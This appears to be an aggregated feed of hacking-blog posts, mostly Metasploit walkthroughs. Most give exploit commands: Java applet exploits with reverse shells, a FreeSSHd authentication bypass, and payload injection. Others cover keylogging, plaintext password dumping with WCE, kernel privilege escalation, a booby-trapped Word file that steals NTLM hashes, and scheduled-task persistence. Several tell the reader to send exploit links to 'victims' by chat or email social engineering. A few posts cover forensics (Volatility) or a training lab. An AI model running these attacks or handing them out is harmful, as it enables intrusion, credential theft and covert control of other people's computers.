Quantcast
Channel: Hacking Articles|Raj Chandel's Blog
Viewing all 1820 articles
Browse latest View live

Hack Windows, Linux or MAC PC using Java Applet JMX Remote Code Execution

$
0
0
This module abuses the JMX classes from a Java Applet to run arbitrary Java code outside of the sandbox as exploited in the wild in January of 2013. The vulnerability affects Java version 7u10 and earlier.

Exploit Targets
Java 7 Update 10
Windows PC
Linux PC
MAC OS X PC

Requirement
Attacker: Backtrack 5
Victim PC: Windows 7

Open backtrack terminal type msfconsole


Now type use exploit/windows/browser/java_jre17_jmxbean
msf exploit (java_jre17_jmxbean)>set payload java/shell_reverse_tcp
msf exploit (java_jre17_jmxbean)>set lhost 192.168.1.5 (IP of Local Host)
msf exploit (java_jre17_jmxbean)>set srvhost 192.168.1.5 (This must be an address on the local machine)
msf exploit (java_jre17_jmxbean)>set uripath / (The Url to use for this exploit)
msf exploit (java_jre17_jmxbean)>exploit 


Now an URL you should give to your victim http://192.168.1.5:8080/


Send the link of the server to the victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“ 


DumpIt – RAM Capture Tool

$
0
0
This utility is used to generate a physical memory dump of Windows machines. It works with both x86 (32-bits) and x64 (64-bits) machines. The raw memory dump is generated in the current directory, only a confirmation question is prompted before starting. Perfect to deploy the executable on USB keys, for quick incident responses needs.

First Download Dumpit from Hereand Save in Your Desktop
Now run Dumpit.exefile the raw memory dump will be generated and save to the same directory


Volatility - An advanced memory forensics framework

$
0
0
The Volatility Framework is a completely open collection of tools, implemented in Python under the GNU General Public License, for the extraction of digital artifacts from volatile memory (RAM) samples. The extraction techniques are performed completely independent of the system being investigated but offer unprecedented visibility into the runtime state of the system. The framework is intended to introduce people to the techniques and complexities associated with extracting digital artifacts from volatile memory samples and provide a platform for further work into this exciting area of research.

Windows Features
Basic / Informational
·         Current date, time, CPU count, CPU speed, service pack
·         Current thread and idle thread
·         Addresses of the KDBG, KPCR, DTB, PsActiveProcessHead, PsLoadedModuleList, etc

Processes
·         List active processes (column or tree view)
·    Scan for hidden or terminated _EPROCESS objects (using pool tags or _DISPATCHER_HEADER)
·         Enumerate DLLs in the PEB LDR lists
·         Rebuild/extract DLLs or EXEs to disk based on name, base address, or physical offset
·         Print open handles to files, registry keys, mutexes, threads, processes, etc
·         List security identifiers (SIDs) for processes
·         Scan for cmd.exe command history and full console input/output buffers
·         List process environment variables
·         Print PE version information from processes or DLLs (file version, company name, etc)
·         Enumerate imported and exported API functions anywhere in process or kernel memory
·         Show a list of virtual and physical mappings of all pages available to a process
·         Dump process address space to disk as a single file
·         Analyze Virtual Address Descriptor (VAD) nodes, show page protection, flags, and mapped files
·         Represent the VAD in tree form or Graphviz .dot graphs
·         Dump each VAD range to disk for inspecting with external tools
·         Parse XP/2003 event log records

Kernel Memory
·         List loaded kernel modules and scan for hidden/unloaded module structures
·         Extract PE files including drivers from anywhere in kernel memory
·         Dump the SSDT for all 32- and 64-bit windows systems
·         Scan for driver objects, print IRP major function tables
·         Show devices and device tree layout
·         Scan for file objects (can show deleted files, closed handles, etc)
·         Scan for threads, mutex objects and symbolic links

GUI Memory
·         Analyze logon sessions and the processes and mapped images belonging to the session
·         Scan for window stations and clipboard artifacts (clipboard snooping malware)
·         Scan for desktops, analyze desktop heaps and attached GUI threads
·         Locate and parse atom tables (class names, DLL injection paths, etc)
·         Extract the contents of the windows clipboard
·         Analyze message hooks and event hooks, show the injected DLL and function address
·         Dump all USER object types, pool tags, and flags from the gahti
·         Print all open USER handles, associated threads or processes, and object offsets
·         Display details on all windows, such as coordiates, window title, class, procedure address, etc
·         Take screen shots from memory dumps (requires PIL)

Malware Analysis
·         Find injected code and DLLs, unpacker stubs, and decrypted configurations, etc
·         Scan process or kernel memory for any string, regular expression, byte pattern, URL, etc
·         Analyze services, their status (running, stopped, etc) and associated process or driver
·         Cross-reference memory mapped executable files with PEB lists to find injected code
·         Scan for imported functions in process or kernel memory (without using import tables)
·         Detect API hooks (Inline, IAT, EAT), hooked winsock tables, syscall hooks, etc
·         Analyze the IDT and GDT for each CPU, alert on hooks and disassemble code
·         Dump details of threads, such as hardware breakpoints, context registers, etc
·         Enumerate kernel callbacks for process creation, thread creation, and image loading
·         Display FS registration, registry, shutdown, bugcheck, and debug print callbacks
·         Detect hidden processes with alternate process listings (6+ sources)
·         Analyze kernel timers and their DPC routine functions

Networking
·         Walk the list of connection and socket objects for XP/2003 systems
·         Scan physical memory for network information (recover closed/terminated artifacts)
·         Determine if listening sockets are IPv4, IPv6, etc and link to their owning processes
·         Registry
·         Scan for registry hives in memory
·         Parse and print any value or key cached in kernel memory, with timestamps
·         Dump an entire registry hive recursively
·         Extract cached domain credentials from the registry
·         Locate and decrypt NT/NTLM hashes and LSA secrets
·         Analyze user assist keys, the shimcache, and shellbags
·         Crash Dumps, Hibernation, Conversion
·         Print crash dump and hibernation file header information
·         Run any plugin on a crash dump or hibernation file (hiberfil.sys)
·         Convert a raw memory dump to a crash dump for opening in !WinDBG
·         Convert a crash dump or hibernation file to a raw memory dump

Miscellaneous
·         Link strings found at physical offsets to their owning kernel address or process
·         Interactive shell with disassembly, type display, hexdumps, etc

How to use Volatility

Before you can conduct victim system analysis you need to capture memory.

Step 1: First Download dumpit and capture victim pc memory (How to use Dumpit)

Step2: Download Volatility for windows PC from here

Step3: Now Open Volatility from command prompt and use the Following Commands

Imageinfo
If you don't know what type of system your image came from, use the imageinfocommand

volatility.exe –f (Windows Dump Path) imageinfo


pslist
To list the processes of a system, use the pslist command. This walks the doubly-linked list pointed to by PsActive Process Head. It does not detect hidden or unlinked processes.

volatility.exe –f (Windows Dump Path) pslist


psscan
To enumerate processes using pool tag scanning, use the psscan command. This can find processes that previously terminated (inactive) and processes that have been hidden or unlinked by a rootkit.

volatility.exe –f (Windows Dump Path) psscan




dlllist
To display a process's loaded DLLs, use the dlllist command. It walks the doubly-linked list of LDR_DATA_TABLE_ENTRY structures which is pointed to by the PEB's In Load Order Module List. DLLs are automatically added to this list when a process calls LoadLibrary (or some derivative such as LdrLoadDll) and they aren't removed until Free Library is called and the reference count reaches zero.

volatility.exe –f (Windows Dump Path) dlllist



getsids
To view the SIDs (Security Identifiers) associated with a process, use the getsids command. Among other things, this can help you identify processes which have maliciously escalated privileges.

volatility.exe –f (Windows Dump Path) getsids


sockets
To detect listening sockets for any protocol (TCP, UDP, RAW, etc), use the sockets command. This walks a singly-linked list of socket structures which is pointed to by a non-exported symbol in the tcpip.sys module. This command is for Windows XP and Windows 2003 Server only.

volatility.exe –f (Windows Dump Path) sockets


hivelist
To locate the virtual addresses of registry hives in memory, and the full paths to the corresponding hive on disk, use the hivelist command.

volatility.exe –f (Windows Dump Path) hivelist


userassist
To get the UserAssist keys from a sample you can use the userassist plugin.

volatility.exe –f (Windows Dump Path) userassist


svcscan
Volatility is the only memory forensics framework with the ability to list Windows services. To see which services are registered on your memory image, use the svcscan command. The output shows the process ID of each service (if its active and pertains to a usermode process), the service name, service display name, service type, and current status. It also shows the binary path for the registered service - which will be an EXE for usermode services and a driver name for services that run from kernel mode

volatility.exe –f (Windows Dump Path) svcscan


 Command Reference & More Commands Visit:

Android Reverse Engineering : See Source Code of Android Apps

$
0
0
I am going to discuss how we can see the source code of the android apps and may be modify/hack according to our own convenience. Various attackers use this technique to inject their own malicious code in the app and the again compiling it and spreading the app.

Tools Required
·         Dex2jar: It is a tool which is used when working with android .dex and java .jar files.
·         Jd-gui: This tool opens up the entire coding of .apk file.

You can Download both these tools from here.

In this article I will be taking example of faceniff.apk, but you can take any app of your choice.
Steps involved in reverse engineering android app:
Change the extension of android app to "faceniff.apk.zip".


 Unzip the file using any unzipping software.
 Now open the command prompt and type "cd \".
 Then type "cd c:\android\dex2jar-0.0.9.7". (Here "C:\android\dex2jar-0.0.9.7" is the path of          dex2jar tool in my drive, this may be different for you). Press enter.



 Now type "dex2jar c:\android\Faceniff\classes.dex". Here "c:\android\Faceniff\classes.dex"is the path of the classes.dex file which your will surely be in the extracted folder of the android app.


 You will notice a new executable jar file in the unzipped folder of app. Now open that app with "jd.gui" and you will be able to see the source code of android app.


About the Author - Shikhil Sharma is an engineering student who is pursuing his engineering in Computer Science. He has great interest in Cyber Security, Hacking, Penetration Testing, SEO and Vulnerability Assessment and loves to write about them.
Website: www.hackingtweaks.com

Exploit Windows PC using Freesshd Authentication Bypass

$
0
0
This module exploits a vulnerability found in FreeSSHd <= 1.2.6 to bypass authentication. You just need the username (which defaults to root). The exploit has been tested with both password and public key authentication.

Exploit Targets
Freesshd 1.2.6 / Windows

Requirement
Attacker: Backtrack 5
Victim PC: Windows XP

Open backtrack terminal type msfconsole


Now type use exploit/windows/ssh/freesshd_authbypass
msf exploit (freesshd_authbypass)>set payload windows/meterpreter/reverse_tcp
msf exploit (freesshd_authbypass set lhost 192.168.1.4 (IP of Local Host)
msf exploit (freesshd_authbypass)>set rhost 192.168.1.6 (IP of Victim PC)
msf exploit (freesshd_authbypass)>exploit 

Hack Windows, Linux or MAC PC using Java Applet AverageRangeStatisticImpl Remote Code Execution

$
0
0
This module abuses the AverageRangeStatisticImpl from a Java Applet to run arbitrary Java code outside of the sandbox, a different exploit vector than the one exploited in the wild in November of 2012. The vulnerability affects Java version 7u7 and earlier.

Exploit Targets
Java 7 Update 7
Windows PC
Linux PC
MAC OS X PC

Requirement
Attacker: Backtrack 5
Victim PC: Windows 7

Open backtrack terminal type msfconsole


Now type use exploit/windows/browser/java_jre17_glassfish_averagerangestatisticimpl
msf exploit (java_jre17_glassfish_averagerangestatisticimpl)>set payload java/shell_reverse_tcp
msf exploit (java_jre17_glassfish_averagerangestatisticimpl)>set lhost 192.168.1.3 (IP of Local Host)
msf exploit (java_jre17_glassfish_averagerangestatisticimpl)>set srvhost 192.168.1.3 (This must be an address on the local machine)
msf exploit (java_jre17_glassfish_averagerangestatisticimpl)>set uripath / (The Url to use for this exploit)
msf exploit (java_jre17_glassfish_averagerangestatisticimpl)>exploit 


Now an URL you should give to your victim http://192.168.1.3:8080/


Send the link of the server to the victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“ 


For More Meterpreter Commands Click Here

Attacking on Windows, Linux or MAC PC using Java Applet Method Handle Remote Code Execution

$
0
0
This module abuses the Method Handle class from a Java Applet to run arbitrary Java code outside of the sandbox. The vulnerability affects Java version 7u7 and earlier.

Exploit Targets
Java 7 Update 7
Windows PC
Linux PC
MAC OS X PC

Requirement
Attacker: Backtrack 5
Victim PC: Windows 7

Open backtrack terminal type msfconsole


Now type use exploit/windows/browser/java_jre17_method_handle
msf exploit (java_jre17_method_handle)>set payload java/shell_reverse_tcp
msf exploit (java_jre17_method_handle)>set lhost 192.168.1.3 (IP of Local Host)
msf exploit (java_jre17_method_handle)>set srvhost 192.168.1.3 (This must be an address on the local machine)
msf exploit (java_jre17_method_handle)>set uripath javaupdate (The Url to use for this exploit)
msf exploit (java_jre17_method_handle)>exploit 


Now an URL you should give to your victim http://192.168.1.3:8080/javaupdate


Send the link of the server to the victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“ 


For More Meterpreter Commands Click Here

Windows Manage Memory Payload Injection

$
0
0
This module will inject a payload into memory of a process. If a payload isn't selected, then it'll default to a reverse x86 TCP meterpreter. If the PID datastore option isn't specified, then it'll inject into notepad.exe instead.

Exploit Targets
Windows PC

Requirement
Attacker: Backtrack 5
Victim PC: Windows 7

Open backtrack terminal type msfconsole


Now type use exploit/windows/local/payload_inject
msf exploit (payload_inject)>set payload windows/meterpreter/reverse_tcp
msf exploit (payload_inject)>set lhost 192.168.1.3 (IP of Local Host)
msf exploit (payload_inject)>set session 1
msf exploit (payload_inject)>exploit 



Hack Remote Windows Passwords in Plain Text with WCE

$
0
0

Windows Credentials Editor (WCE) is a security tool that allows to list logon sessions and add, change, list and delete associated credentials (ex.: LM/NT hashes, plaintext passwords and Kerberos tickets). This tool can be used, for example, to perform pass-the-hash on Windows, obtain NT/LM hashes from memory (from interactive logons, services, remote desktop connections, etc.), obtain Kerberos tickets and reuse them in other Windows or Unix systems and dump cleartext passwords entered by users at logon. WCE is a security tool widely used by security professionals to assess the security of Windows networks via Penetration Testing. It supports Windows XP, 2003, Vista, 7 and 2008.

First Hack the Victim PC Using Metaspolit (Tutorial How to Hack Remote PC)

Step 1: Now upload the wce.exe in victim pc using
Upload /pentest/passwords/wce/wce.exe .
Step 2: type shell to get the command prompt of victim pc
Step 3: now use wce.exe –w command to get password in text form

How to Check Enabled Remote Desktop Service in Network with Metasploit

$
0
0
This module checks a range of hosts for the MS12-020 vulnerability. This does not cause a DoS on the target.

Exploit Targets
Windows PC

Requirement
Attacker: Backtrack 5
Victim PC: Windows 7

Open backtrack terminal type msfconsole


Now type
use auxiliary/scanner/rdp/ms12-020_check
msf exploit (ms12-020_check)>set rhosts 192.168.1.1/24 (Target Host Range)
msf exploit (ms12-020_check)>set thread 1
msf exploit (ms12-020_check)>exploit 

The Basics of Hacking and Penetration Testing

Hack Remote Windows Password using Keylogger in Meterpreter

$
0
0
Once you got the meterpreter session use ‘ps‘ command to displays a list of running processes on the target



The next step is we need to migrate Meterpreter to the winlogon.exe process. Victim winlogon.exe process ID is 600. Now type migrate 600 now we can start the keylogger

Keyscan_start– to start the keylogger
Keyscan_dump– to print captured keystrokes
Keyscan_stop– to stop the keylogger

This will capture the credentials of all users logging into the system as long as this is running.

How to Hide File in Remote Victim PC

$
0
0
Once you got the meterpreter session use ‘shell‘command to get command prompt of  the target.

Type attrib +h +r +s (drive name) d:/Folder Name and press Enter button to activate it.

This will hide your "Video Folder" folder from D drive. No one can unhide this folder using "Show hidden files and folders" option also


 If you want to unhide the folder you may just change the parameters from ‘+’ to ‘-’ :-
attrib example -s –h

For unhide attrib -h -r -s (drive name) d:/Foldername

Hack Remote Windows PC using VMWare OVF Tools Format String Vulnerability

$
0
0
This module exploits format string vulnerability in VMWare OVF Tools 2.1 for Windows. The vulnerability occurs when printing error messages while parsing a a malformed OVF file. The module has been tested successfully with VMWare OVF Tools 2.1 on Windows XP SP3.

Exploit Targets
VMWare OVF Tools 2.1

Requirement
Attacker: Backtrack 5
Victim PC: Windows XP SP 2

Open backtrack terminal type msfconsole


Now type use exploit/windows/browser/ovftool_format_string
msf exploit (ovftool_format_string)>set payload windows/meterpreter/reverse_tcp
msf exploit (ovftool_format_string)>set lhost 192.168.1.6 (IP of Local Host)
msf exploit (ovftool_format_string)>set srvhost 192.168.1.6 (This must be an address on the local machine)
msf exploit (ovftool_format_string)>set uripath / (The Url to use for this exploit)
msf exploit (ovftool_format_string)>exploit  


Now an URL you should give to your victim http://192.168.1.6:8080/via chat or email or any social engineering technique.



Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“ 

How to get the Admin Access of Remote PC using Windows Kernel Intel x64 SYSRET Vulnerability Exploit

$
0
0
The shellcode disables kernel Code Signing and will grant NT SYSTEM privilege to specified Application or already running process (PID). Exploit successfully tested on Windows 7 SP0/1 (x64) and Windows 2008 R2 SP1 (x64).

First Hack the Victim PC Using Metaspolit (Tutorial How to Hack Remote PC)

Download the sysret from here and unzip file in your desktop

Once you got the meterpreter session use ‘upload ‘command to upload the sysret.exeand MinHook.x64 in victim pc using

Upload /root/desktop/sysret/x64/Release/sysret.exe .
Upload /root/desktop/sysret/x64/Release/MinHook.x64.dll .



Now session use ‘ps‘command to displays a list of running processes on the target and find the PID number of Explorer.exe


The next step is we need to attach Meterpreter to the explorer.exe process. Victim explorer.exe process ID is 1588. Now type sysret.exe =pid (PID Number)


How to Lock/Unlock Folder in Remote Victim PC using Metasploit

$
0
0
Once you got the meterpreter session use ‘shell‘command to get command prompt of  the target.
Type Cacls (Folder Name) /e /p everyone:n and press Enter.

This will lock your “Movies Folder” folder from D drive



If you want to unlock the folder you may just change the parameters
For unlock Cacls (Folder Name) /e /p everyone:f

Solving OWASP Bricks Challenge #3 using SQLMap and Havij

$
0
0
OWASPBricks is free and open source learning platform for web application security. It comes with lots of levels/challenges also known as 'bricks'. Each brick has some sort of vulnerability. TheofficialBricksdocumentation shows how to exploit these vulnerabilities manually.

However, in this tutorial, automated tools are used to 'break the Bricks'. If you don’t already have Bricks installed, please go through the setupinstructions. It’s just a matter of few minutes.

SQLMap is seen as an industry standard penetration testing tool when it comes to SQL injection. It's a free command line utility written in Python. The commands are easy and straightforward.





Starting the scan

Scanning can be started simply by issuing the command:

During the scan, SQLMap will go ahead and try to inject codes on all possible inputs. Once it detects a vulnerable point, it prompts a question back to the user asking whether they would like to continue looking for other injection points or not. For this tutorial, there is no point in analyzing the page further, so it can be skipped.

Listing out the databases

Enumerating the databases on the remote server can be done easily by issuing the following command:

sqlmap.py -u http://localhost/bricks/content-1/index.php?id=0 –dbs

This lists out all the databases on the remote MySQL server. For this particular tutorial, 'brick's is the database of interest.

Dumping the Entire database

The complete 'bricks' database can be dumped by issuing:

sqlmap.py -u http://localhost/bricks/content-1/index.php?id=0 -D bricks –dump

This dumps the complete database and shows in a nice manner on the command line. The result can also be seen in the sqlmap/output folder as a CSV file and can be opened using Microsoft Excel or any similar software.

This shows how easy it is to use an automated tool to perform SQL injection attacks. Let's look at software called Havij.

Performing SQL injection using Havij is a point and click affair. Just supply it with the vulnerable URL, click on some buttons and you're done!



Start exploring Bricks today and do ping us if you know any other methods to solve the challenges.

About Author
Abhi M is an information security professional and the project leader of OWASPMantraand OWASPBricks. He believes that being open can do incredible things for humanity. He is an avid reader of Hacking Articles and is following it since the first day he visited the same.

Hack netNTLM Credential using Microsoft Word UNC Path Injector

$
0
0
This module modifies a .docx file that will, upon opening, submit stored net NTLM credentials to a remote host. It can also create an empty docx file. If emailed the receiver needs to put the document in editing mode before the remote server will be contacted. Preview and read-only mode do not work. Verified to work with Microsoft Word 2003, 2007 and 2010 as of January 2013. In order to get the hashes the auxiliary/server/capture/smb module can be used.

Exploit Targets
Microsoft Word 2003
Microsoft Word 2007
Microsoft Word 2010

Requirement
Attacker: Backtrack 5
Victim PC: Windows 7

First Hack the Victim PC UsingMetaspolit (Tutorial How to Hack Remote PC)

Now Open backtrack terminal type msfconsole


Now type use auxiliary/docx/word_unc_injector
msf exploit (word_unc_injector)>set lhost 192.168.1.2 (IP of Local Host)
msf exploit (word_unc_injector)>exploit

Now we successfully generate the malicious docxFile, it will stored on your local computer
/root/.msf4/local/msf.docx


Now use ‘upload‘command to upload the msf.docx in victim pc using
Upload /root/.msf4/local/msf.docx.


Now  use auxiliary/server/capture/smb
msf exploit (smb)>run


When victim open your msf.doc files you will get the password hashafter get the victim password hashes, you can  try to connect to another victim use the same password


Coding Freedom: The Ethics and Aesthetics of Hackin

Windows Manage User Level Persistent Payload Installer

$
0
0
Creates a scheduled task that will run using service-for-user (S4U). This allows the scheduled task to run even as an unprivileged user that is not logged into the device. This will result in lower security context, allowing access to local resources only. The module requires 'Logon as a batch job' permissions (SeBatchLogonRight)

Exploit Targets
Windows PC

Requirement
Attacker: Backtrack 5
Victim PC: Windows 7

Open backtrack terminal type msfconsole


Now type use exploit/windows/local/s4u_persistence
msf exploit (s4u_persistence)>set payload windows/meterpreter/reverse_tcp
msf exploit (s4u_persistence)>set lhost 192.168.1.2 (IP of Local Host)
msf exploit (s4u_persistence)>set session 1 
msf exploit (s4u_persistence)>exploit

Viewing all 1820 articles
Browse latest View live